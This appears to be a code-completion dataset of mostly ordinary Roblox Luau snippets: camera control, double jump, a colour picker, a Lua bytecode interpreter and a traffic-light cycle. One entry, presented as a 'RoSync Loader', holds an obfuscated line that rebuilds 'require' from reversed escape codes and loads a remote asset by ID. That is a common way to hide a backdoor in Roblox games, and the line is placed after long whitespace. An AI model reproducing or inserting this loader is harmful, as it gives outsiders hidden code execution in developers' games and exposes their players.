prompt
				 
			stringlengths 2 
			14.7k 
			 | completion
				 
			stringlengths 1 
			99.7k 
			 | 
|---|---|
	-- This loads from, or lazily creates, NumberValue objects for exposed parameters 
 | 
	
function OrbitalCamera:LoadNumberValueParameters()
	-- These initial values do not require change listeners since they are read only once
	self:LoadOrCreateNumberValueParameter("InitialElevation", "NumberValue", nil)
	self:LoadOrCreateNumberValueParameter("InitialDistance", "NumberValue", nil)
	-- Note: ReferenceAzimuth is also used as an initial value, but needs a change listener because it is used in the calculation of the limits
	self:LoadOrCreateNumberValueParameter("ReferenceAzimuth", "NumberValue", self.SetAndBoundsCheckAzimuthValue)
	self:LoadOrCreateNumberValueParameter("CWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues)
	self:LoadOrCreateNumberValueParameter("CCWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues)
	self:LoadOrCreateNumberValueParameter("MinElevation", "NumberValue", self.SetAndBoundsCheckElevationValues)
	self:LoadOrCreateNumberValueParameter("MaxElevation", "NumberValue", self.SetAndBoundsCheckElevationValues)
	self:LoadOrCreateNumberValueParameter("MinDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues)
	self:LoadOrCreateNumberValueParameter("MaxDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues)
	self:LoadOrCreateNumberValueParameter("UseAzimuthLimits", "BoolValue", self.SetAndBoundsCheckAzimuthValues)
	-- Internal values set (in radians, from degrees), plus sanitization
	self.curAzimuthRad = math.rad(self.externalProperties["ReferenceAzimuth"])
	self.curElevationRad = math.rad(self.externalProperties["InitialElevation"])
	self.curDistance = self.externalProperties["InitialDistance"]
	self:SetAndBoundsCheckAzimuthValues()
	self:SetAndBoundsCheckElevationValues()
	self:SetAndBoundsCheckDistanceValues()
end
function OrbitalCamera:GetModuleName()
	return "OrbitalCamera"
end
function OrbitalCamera:SetInitialOrientation(humanoid: Humanoid)
	if not humanoid or not humanoid.RootPart then
		warn("OrbitalCamera could not set initial orientation due to missing humanoid")
		return
	end
	assert(humanoid.RootPart, "")
	local newDesiredLook = (humanoid.RootPart.CFrame.LookVector - Vector3.new(0,0.23,0)).Unit
	local horizontalShift = Util.GetAngleBetweenXZVectors(newDesiredLook, self:GetCameraLookVector())
	local vertShift = math.asin(self:GetCameraLookVector().Y) - math.asin(newDesiredLook.Y)
	if not Util.IsFinite(horizontalShift) then
		horizontalShift = 0
	end
	if not Util.IsFinite(vertShift) then
		vertShift = 0
	end
end
 
 | 
					
	--[[ Last synced 7/31/2021 05:20                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] 
 | 
	 getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                                  ]]--
 
 | 
					
	-- Decompiled with the Synapse X Luau decompiler. 
 | 
	
local l__UserInputService__1 = game:GetService("UserInputService");
local u1 = nil;
local u2 = nil;
local u3 = false;
local u4 = false;
local u5 = nil;
local l__LocalPlayer__6 = game.Players.LocalPlayer;
local l__DoubleJump__7 = script:WaitForChild("DoubleJump");
function onJumpRequest()
	if u1 then
		if u2 then
			if u1:IsDescendantOf(workspace) then
				if u2:GetState() == Enum.HumanoidStateType.Dead then
					
				else
					if u3 then
						if not u4 then
							u4 = true;
							u2.JumpPower = u5 * 1.2;
							u2:ChangeState(Enum.HumanoidStateType.Jumping);
							l__LocalPlayer__6.Character.Humanoid:LoadAnimation(l__DoubleJump__7):Play();
						end;
					end;
					return;
				end;
			end;
		end;
	end;
end;
local function v2(p1)
	u1 = p1;
	u2 = p1:WaitForChild("Humanoid");
	u4 = false;
	u3 = false;
	u5 = u2.JumpPower;
	u2.StateChanged:connect(function(p2, p3)
		if p3 == Enum.HumanoidStateType.Landed then
			u3 = false;
			u4 = false;
			u2.JumpPower = u5;
			return;
		end;
		if p3 == Enum.HumanoidStateType.Freefall then
			wait(0.2);
			u3 = true;
		end;
	end);
end;
if l__LocalPlayer__6.Character then
	v2(l__LocalPlayer__6.Character);
end;
l__LocalPlayer__6.CharacterAdded:connect(v2);
l__UserInputService__1.JumpRequest:connect(onJumpRequest);
 
 | 
					
	-- 
 | 
	
local hue, saturation, value = 0, 0, 1;
local function update()
	colour.BackgroundColor3 = Color3.fromHSV(hue, saturation, value);
	local color3 = Color3.fromHSV(hue,saturation,value)
	local r,g,b = color3.R,color3.G,color3.B
	print(r)
	print(g)
	print(b)
	color.Text = (tostring(math.floor(r*255))..","..tostring(math.floor(g*255))..","..tostring(math.floor(b*255)))
	color.TextColor3 = Color3.fromRGB(r*255,g*255,b*255)
end
 
 | 
					
	-- Function to bind to equip event 
 | 
	
local function equip()
	local torso = player.Character.Torso
	
	-- Setup joint variables
	neck = torso.Neck	
	oldNeckC0 = neck.C0
	shoulder = torso:FindFirstChild("Right Shoulder")
	oldShoulderC0 = shoulder.C0
	
	-- Remember old mouse icon and update current
	oldIcon = mouse.Icon
	mouse.Icon = "http://www.roblox.com/asset/?id=79658449"
	
	-- Bind TouchMoved event if on mobile. Otherwise connect to renderstepped
	if userInputService.TouchEnabled then
		connection = userInputService.TouchMoved:connect(mobileFrame)
	else
		connection = render:connect(pcFrame)
	end
	
	-- Bind TouchStarted and TouchEnded. Used to determine if character should rotate
	-- during touch input
	userInputService.TouchStarted:connect(function(touch, processed)
		mobileShouldTrack = not processed
	end)	
	userInputService.TouchEnded:connect(function(touch, processed)
		mobileShouldTrack = false
	end)
	-- If game uses filtering enabled then need to update server while tool is
	-- held by character.
	if workspace.FilteringEnabled then
		while connection do
			wait()
			game.ReplicatedStorage.ROBLOX_RocketUpdateEvent:FireServer(neck.C0, shoulder.C0)
		end
	end
end
 
 | 
					
	--[[
	[How fast the body rotates.]
	[Setting to 0 negates tracking, and setting to 1 is instant rotation. 0.5 is a nice in-between that works with MseGuide on or off.]
	[Setting this any higher than 1 causes weird glitchy shaking occasionally.]
--]] 
 | 
	
local UpdateSpeed = 0.5
 
 | 
					
	-- fn cst_flt_rdr(string src, int len, fn func)
-- @len - Length of type for reader
-- @func - Reader callback 
 | 
	
local function cst_flt_rdr(len, func)
	return function(S)
		local flt = func(S.source, S.index)
		S.index = S.index + len
		return flt
	end
end
local function stm_inst_list(S)
	local len = S:s_int()
	local list = table.create(len)
	for i = 1, len do
		local ins = S:s_ins()
		local op = bit.band(ins, 0x3F)
		local args = OPCODE_T[op]
		local mode = OPCODE_M[op]
		local data = {value = ins, op = OPCODE_RM[op], A = bit.band(bit.rshift(ins, 6), 0xFF)}
		if args == 'ABC' then
			data.B = bit.band(bit.rshift(ins, 23), 0x1FF)
			data.C = bit.band(bit.rshift(ins, 14), 0x1FF)
			data.is_KB = mode.b == 'OpArgK' and data.B > 0xFF -- post process optimization
			data.is_KC = mode.c == 'OpArgK' and data.C > 0xFF
		elseif args == 'ABx' then
			data.Bx = bit.band(bit.rshift(ins, 14), 0x3FFFF)
			data.is_K = mode.b == 'OpArgK'
		elseif args == 'AsBx' then
			data.sBx = bit.band(bit.rshift(ins, 14), 0x3FFFF) - 131071
		end
		list[i] = data
	end
	return list
end
local function stm_const_list(S)
	local len = S:s_int()
	local list = table.create(len)
	for i = 1, len do
		local tt = stm_byte(S)
		local k
		if tt == 1 then
			k = stm_byte(S) ~= 0
		elseif tt == 3 then
			k = S:s_num()
		elseif tt == 4 then
			k = stm_lstring(S)
		end
		list[i] = k -- offset +1 during instruction decode
	end
	return list
end
local function stm_sub_list(S, src)
	local len = S:s_int()
	local list = table.create(len)
	for i = 1, len do
		list[i] = stm_lua_func(S, src) -- offset +1 in CLOSURE
	end
	return list
end
local function stm_line_list(S)
	local len = S:s_int()
	local list = table.create(len)
	for i = 1, len do list[i] = S:s_int() end
	return list
end
local function stm_loc_list(S)
	local len = S:s_int()
	local list = table.create(len)
	for i = 1, len do list[i] = {varname = stm_lstring(S), startpc = S:s_int(), endpc = S:s_int()} end
	return list
end
local function stm_upval_list(S)
	local len = S:s_int()
	local list = table.create(len)
	for i = 1, len do list[i] = stm_lstring(S) end
	return list
end
function stm_lua_func(S, psrc)
	local proto = {}
	local src = stm_lstring(S) or psrc -- source is propagated
	proto.source = src -- source name
	S:s_int() -- line defined
	S:s_int() -- last line defined
	proto.num_upval = stm_byte(S) -- num upvalues
	proto.num_param = stm_byte(S) -- num params
	stm_byte(S) -- vararg flag
	proto.max_stack = stm_byte(S) -- max stack size
	proto.code = stm_inst_list(S)
	proto.const = stm_const_list(S)
	proto.subs = stm_sub_list(S, src)
	proto.lines = stm_line_list(S)
	stm_loc_list(S)
	stm_upval_list(S)
	-- post process optimization
	for _, v in ipairs(proto.code) do
		if v.is_K then
			v.const = proto.const[v.Bx + 1] -- offset for 1 based index
		else
			if v.is_KB then v.const_B = proto.const[v.B - 0xFF] end
			if v.is_KC then v.const_C = proto.const[v.C - 0xFF] end
		end
	end
	return proto
end
function lua_bc_to_state(src)
	-- func reader
	local rdr_func
	-- header flags
	local little
	local size_int
	local size_szt
	local size_ins
	local size_num
	local flag_int
	-- stream object
	local stream = {
		-- data
		index = 1,
		source = src,
	}
	assert(stm_string(stream, 4) == '\27Lua', 'invalid Lua signature')
	assert(stm_byte(stream) == 0x51, 'invalid Lua version')
	assert(stm_byte(stream) == 0, 'invalid Lua format')
	little = stm_byte(stream) ~= 0
	size_int = stm_byte(stream)
	size_szt = stm_byte(stream)
	size_ins = stm_byte(stream)
	size_num = stm_byte(stream)
	flag_int = stm_byte(stream) ~= 0
	rdr_func = little and rd_int_le or rd_int_be
	stream.s_int = cst_int_rdr(size_int, rdr_func)
	stream.s_szt = cst_int_rdr(size_szt, rdr_func)
	stream.s_ins = cst_int_rdr(size_ins, rdr_func)
	if flag_int then
		stream.s_num = cst_int_rdr(size_num, rdr_func)
	elseif float_types[size_num] then
		stream.s_num = cst_flt_rdr(size_num, float_types[size_num][little and 'little' or 'big'])
	else
		error('unsupported float size')
	end
	return stm_lua_func(stream, '@virtual')
end
local function close_lua_upvalues(list, index)
	for i, uv in pairs(list) do
		if uv.index >= index then
			uv.value = uv.store[uv.index] -- store value
			uv.store = uv
			uv.index = 'value' -- self reference
			list[i] = nil
		end
	end
end
local function open_lua_upvalue(list, index, memory)
	local prev = list[index]
	if not prev then
		prev = {index = index, store = memory}
		list[index] = prev
	end
	return prev
end
local function on_lua_error(failed, err)
	local src = failed.source
	local line = failed.lines[failed.pc - 1]
	error(string.format('%s:%i: %s', src, line, err), 0)
end
local function run_lua_func(state, env, upvals)
	local code = state.code
	local subs = state.subs
	local vararg = state.vararg
	local top_index = -1
	local open_list = {}
	local memory = state.memory
	local pc = state.pc
	while true do
		local inst = code[pc]
		local op = inst.op
		pc = pc + 1
		if op < 18 then
			if op < 8 then
				if op < 3 then
					if op < 1 then
						--[[LOADNIL]]
						for i = inst.A, inst.B do memory[i] = nil end
					elseif op > 1 then
						--[[GETUPVAL]]
						local uv = upvals[inst.B]
						memory[inst.A] = uv.store[uv.index]
					else
						--[[ADD]]
						local lhs, rhs
						if inst.is_KB then
							lhs = inst.const_B
						else
							lhs = memory[inst.B]
						end
						if inst.is_KC then
							rhs = inst.const_C
						else
							rhs = memory[inst.C]
						end
						memory[inst.A] = lhs + rhs
					end
				elseif op > 3 then
					if op < 6 then
						if op > 4 then
							--[[SELF]]
							local A = inst.A
							local B = inst.B
							local index
							if inst.is_KC then
								index = inst.const_C
							else
								index = memory[inst.C]
							end
							memory[A + 1] = memory[B]
							memory[A] = memory[B][index]
						else
							--[[GETGLOBAL]]
							memory[inst.A] = env[inst.const]
						end
					elseif op > 6 then
						--[[GETTABLE]]
						local index
						if inst.is_KC then
							index = inst.const_C
						else
							index = memory[inst.C]
						end
						memory[inst.A] = memory[inst.B][index]
					else
						--[[SUB]]
						local lhs, rhs
						if inst.is_KB then
							lhs = inst.const_B
						else
							lhs = memory[inst.B]
						end
						if inst.is_KC then
							rhs = inst.const_C
						else
							rhs = memory[inst.C]
						end
						memory[inst.A] = lhs - rhs
					end
				else --[[MOVE]]
					memory[inst.A] = memory[inst.B]
				end
			elseif op > 8 then
				if op < 13 then
					if op < 10 then
						--[[SETGLOBAL]]
						env[inst.const] = memory[inst.A]
					elseif op > 10 then
						if op < 12 then
							--[[CALL]]
							local A = inst.A
							local B = inst.B
							local C = inst.C
							local params
							if B == 0 then
								params = top_index - A
							else
								params = B - 1
							end
							local ret_list = table.pack(memory[A](table.unpack(memory, A + 1, A + params)))
							local ret_num = ret_list.n
							if C == 0 then
								top_index = A + ret_num - 1
							else
								ret_num = C - 1
							end
							table.move(ret_list, 1, ret_num, A, memory)
						else
							--[[SETUPVAL]]
							local uv = upvals[inst.B]
							uv.store[uv.index] = memory[inst.A]
						end
					else
						--[[MUL]]
						local lhs, rhs
						if inst.is_KB then
							lhs = inst.const_B
						else
							lhs = memory[inst.B]
						end
						if inst.is_KC then
							rhs = inst.const_C
						else
							rhs = memory[inst.C]
						end
						memory[inst.A] = lhs * rhs
					end
				elseif op > 13 then
					if op < 16 then
						if op > 14 then
							--[[TAILCALL]]
							local A = inst.A
							local B = inst.B
							local params
							if B == 0 then
								params = top_index - A
							else
								params = B - 1
							end
							close_lua_upvalues(open_list, 0)
							return memory[A](table.unpack(memory, A + 1, A + params))
						else
							--[[SETTABLE]]
							local index, value
							if inst.is_KB then
								index = inst.const_B
							else
								index = memory[inst.B]
							end
							if inst.is_KC then
								value = inst.const_C
							else
								value = memory[inst.C]
							end
							memory[inst.A][index] = value
						end
					elseif op > 16 then
						--[[NEWTABLE]]
						memory[inst.A] = {}
					else
						--[[DIV]]
						local lhs, rhs
						if inst.is_KB then
							lhs = inst.const_B
						else
							lhs = memory[inst.B]
						end
						if inst.is_KC then
							rhs = inst.const_C
						else
							rhs = memory[inst.C]
						end
						memory[inst.A] = lhs / rhs
					end
				else
					--[[LOADK]]
					memory[inst.A] = inst.const
				end
			else
				--[[FORLOOP]]
				local A = inst.A
				local step = memory[A + 2]
				local index = memory[A] + step
				local limit = memory[A + 1]
				local loops
				if step == math.abs(step) then
					loops = index <= limit
				else
					loops = index >= limit
				end
				if loops then
					memory[A] = index
					memory[A + 3] = index
					pc = pc + inst.sBx
				end
			end
		elseif op > 18 then
			if op < 28 then
				if op < 23 then
					if op < 20 then
						--[[LEN]]
						memory[inst.A] = #memory[inst.B]
					elseif op > 20 then
						if op < 22 then
							--[[RETURN]]
							local A = inst.A
							local B = inst.B
							local len
							if B == 0 then
								len = top_index - A + 1
							else
								len = B - 1
							end
							close_lua_upvalues(open_list, 0)
							return table.unpack(memory, A, A + len - 1)
						else
							--[[CONCAT]]
							local B = inst.B
							local str = memory[B]
							for i = B + 1, inst.C do str = str .. memory[i] end
							memory[inst.A] = str
						end
					else
						--[[MOD]]
						local lhs, rhs
						if inst.is_KB then
							lhs = inst.const_B
						else
							lhs = memory[inst.B]
						end
						if inst.is_KC then
							rhs = inst.const_C
						else
							rhs = memory[inst.C]
						end
						memory[inst.A] = lhs % rhs
					end
				elseif op > 23 then
					if op < 26 then
						if op > 24 then
							--[[CLOSE]]
							close_lua_upvalues(open_list, inst.A)
						else
							--[[EQ]]
							local lhs, rhs
							if inst.is_KB then
								lhs = inst.const_B
							else
								lhs = memory[inst.B]
							end
							if inst.is_KC then
								rhs = inst.const_C
							else
								rhs = memory[inst.C]
							end
							if (lhs == rhs) == (inst.A ~= 0) then pc = pc + code[pc].sBx end
							pc = pc + 1
						end
					elseif op > 26 then
						--[[LT]]
						local lhs, rhs
						if inst.is_KB then
							lhs = inst.const_B
						else
							lhs = memory[inst.B]
						end
						if inst.is_KC then
							rhs = inst.const_C
						else
							rhs = memory[inst.C]
						end
						if (lhs < rhs) == (inst.A ~= 0) then pc = pc + code[pc].sBx end
						pc = pc + 1
					else
						--[[POW]]
						local lhs, rhs
						if inst.is_KB then
							lhs = inst.const_B
						else
							lhs = memory[inst.B]
						end
						if inst.is_KC then
							rhs = inst.const_C
						else
							rhs = memory[inst.C]
						end
						memory[inst.A] = lhs ^ rhs
					end
				else
					--[[LOADBOOL]]
					memory[inst.A] = inst.B ~= 0
					if inst.C ~= 0 then pc = pc + 1 end
				end
			elseif op > 28 then
				if op < 33 then
					if op < 30 then
						--[[LE]]
						local lhs, rhs
						if inst.is_KB then
							lhs = inst.const_B
						else
							lhs = memory[inst.B]
						end
						if inst.is_KC then
							rhs = inst.const_C
						else
							rhs = memory[inst.C]
						end
						if (lhs <= rhs) == (inst.A ~= 0) then pc = pc + code[pc].sBx end
						pc = pc + 1
					elseif op > 30 then
						if op < 32 then
							--[[CLOSURE]]
							local sub = subs[inst.Bx + 1] -- offset for 1 based index
							local nups = sub.num_upval
							local uvlist
							if nups ~= 0 then
								uvlist = {}
								for i = 1, nups do
									local pseudo = code[pc + i - 1]
									if pseudo.op == OPCODE_RM[0] then -- @MOVE
										uvlist[i - 1] = open_lua_upvalue(open_list, pseudo.B, memory)
									elseif pseudo.op == OPCODE_RM[4] then -- @GETUPVAL
										uvlist[i - 1] = upvals[pseudo.B]
									end
								end
								pc = pc + nups
							end
							memory[inst.A] = lua_wrap_state(sub, env, uvlist)
						else
							--[[TESTSET]]
							local A = inst.A
							local B = inst.B
							if (not memory[B]) ~= (inst.C ~= 0) then
								memory[A] = memory[B]
								pc = pc + code[pc].sBx
							end
							pc = pc + 1
						end
					else
						--[[UNM]]
						memory[inst.A] = -memory[inst.B]
					end
				elseif op > 33 then
					if op < 36 then
						if op > 34 then
							--[[VARARG]]
							local A = inst.A
							local len = inst.B
							if len == 0 then
								len = vararg.len
								top_index = A + len - 1
							end
							table.move(vararg.list, 1, len, A, memory)
						else
							--[[FORPREP]]
							local A = inst.A
							local init, limit, step
							init = assert(tonumber(memory[A]), '`for` initial value must be a number')
							limit = assert(tonumber(memory[A + 1]), '`for` limit must be a number')
							step = assert(tonumber(memory[A + 2]), '`for` step must be a number')
							memory[A] = init - step
							memory[A + 1] = limit
							memory[A + 2] = step
							pc = pc + inst.sBx
						end
					elseif op > 36 then
						--[[SETLIST]]
						local A = inst.A
						local C = inst.C
						local len = inst.B
						local tab = memory[A]
						local offset
						if len == 0 then len = top_index - A end
						if C == 0 then
							C = inst[pc].value
							pc = pc + 1
						end
						offset = (C - 1) * FIELDS_PER_FLUSH
						table.move(memory, A + 1, A + len, offset + 1, tab)
					else
						--[[NOT]]
						memory[inst.A] = not memory[inst.B]
					end
				else
					--[[TEST]]
					if (not memory[inst.A]) ~= (inst.C ~= 0) then pc = pc + code[pc].sBx end
					pc = pc + 1
				end
			else
				--[[TFORLOOP]]
				local A = inst.A
				local base = A + 3
				local vals = {memory[A](memory[A + 1], memory[A + 2])}
				table.move(vals, 1, inst.C, base, memory)
				if memory[base] ~= nil then
					memory[A + 2] = memory[base]
					pc = pc + code[pc].sBx
				end
				pc = pc + 1
			end
		else
			--[[JMP]]
			pc = pc + inst.sBx
		end
		state.pc = pc
	end
end
function lua_wrap_state(proto, env, upval)
	local function wrapped(...)
		local passed = table.pack(...)
		local memory = table.create(proto.max_stack)
		local vararg = {len = 0, list = {}}
		table.move(passed, 1, proto.num_param, 0, memory)
		if proto.num_param < passed.n then
			local start = proto.num_param + 1
			local len = passed.n - proto.num_param
			vararg.len = len
			table.move(passed, start, start + len - 1, 1, vararg.list)
		end
		local state = {vararg = vararg, memory = memory, code = proto.code, subs = proto.subs, pc = 1}
		local result = table.pack(pcall(run_lua_func, state, env, upval))
		if result[1] then
			return table.unpack(result, 2, result.n)
		else
			local failed = {pc = state.pc, source = proto.source, lines = proto.lines}
			on_lua_error(failed, result[2])
			return
		end
	end
	return wrapped
end
return function(bCode, env)
	return lua_wrap_state(lua_bc_to_state(bCode), env or getfenv(0))
end
 
 | 
					
	-- Make the HotbarFrame, which holds only the Hotbar Slots 
 | 
	
HotbarFrame = NewGui('Frame', 'Hotbar')
HotbarFrame.Parent = MainFrame
 
 | 
					
	--------------------------------------------- 
 | 
	
	SignalValues.Signal1.Value = 1
	SignalValues.Signal1a.Value = 1
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 1
	PedValues.PedSignal2a.Value = 1
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(26)--Green Time (BEGIN SIGNAL1 GREEN)
	SignalValues.Signal1.Value = 1
	SignalValues.Signal1a.Value = 1
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 2
	PedValues.PedSignal2a.Value = 2
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(6) -- Green Time + Time for flashing pedestrian signals
	SignalValues.Signal1.Value = 2
	SignalValues.Signal1a.Value = 2
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(4) -- Yellow Time 
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3	
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(2)-- ALL RED
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 1
	SignalValues.Signal2a.Value = 1
	PedValues.PedSignal1.Value = 1
	PedValues.PedSignal1a.Value = 1
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(26)--Green Time (BEGIN SIGNAL2 GREEN)
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 1
	SignalValues.Signal2a.Value = 1
	PedValues.PedSignal1.Value = 2
	PedValues.PedSignal1a.Value = 2
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(6) -- Green Time + Time for flashing pedestrian signals
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 2
	SignalValues.Signal2a.Value = 2
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(4) -- Yellow Time 
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(2)-- ALL RED	
	SignalValues.Signal1.Value = 1
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 1
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(10)--Green Time (BEGIN SIGNAL1 PROTECTED TURN GREEN)
	TurnValues.TurnSignal1.Value = 2
	wait(4)--Yield Time (YIELD SIGNAL1 PROTECTED TURN GREEN)
	TurnValues.TurnSignal1.Value = 3
	SignalValues.Signal1a.Value = 3
	wait(2)-- Clearance
	SignalValues.Signal1.Value = 1
	SignalValues.Signal1a.Value = 1
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(10) -- Green Time + Time for Signal1a
	SignalValues.Signal1.Value = 2
	SignalValues.Signal1a.Value = 2
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(4) -- Yellow Time 
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3	
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(2)-- ALL RED	
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 1
	SignalValues.Signal2a.Value = 1
	PedValues.PedSignal1.Value = 1
	PedValues.PedSignal1a.Value = 1
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(26)--Green Time (BEGIN SIGNAL2 GREEN)
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 1
	SignalValues.Signal2a.Value = 1
	PedValues.PedSignal1.Value = 2
	PedValues.PedSignal1a.Value = 2
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(6) -- Green Time + Time for flashing pedestrian signals
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 2
	SignalValues.Signal2a.Value = 2
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(4) -- Yellow Time 
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(2)-- ALL RED	
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 1
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 1
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(10)--Green Time (BEGIN SIGNAL1a PROTECTED TURN GREEN)
	TurnValues.TurnSignal1a.Value = 2
	wait(4)--Yield Time (YIELD SIGNAL1a PROTECTED TURN GREEN)
	TurnValues.TurnSignal1a.Value = 3
	SignalValues.Signal1.Value = 3
	wait(2)-- All Red Cycle
	SignalValues.Signal1.Value = 1
	SignalValues.Signal1a.Value = 1
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(10) -- Green Time + Time for Signal1a
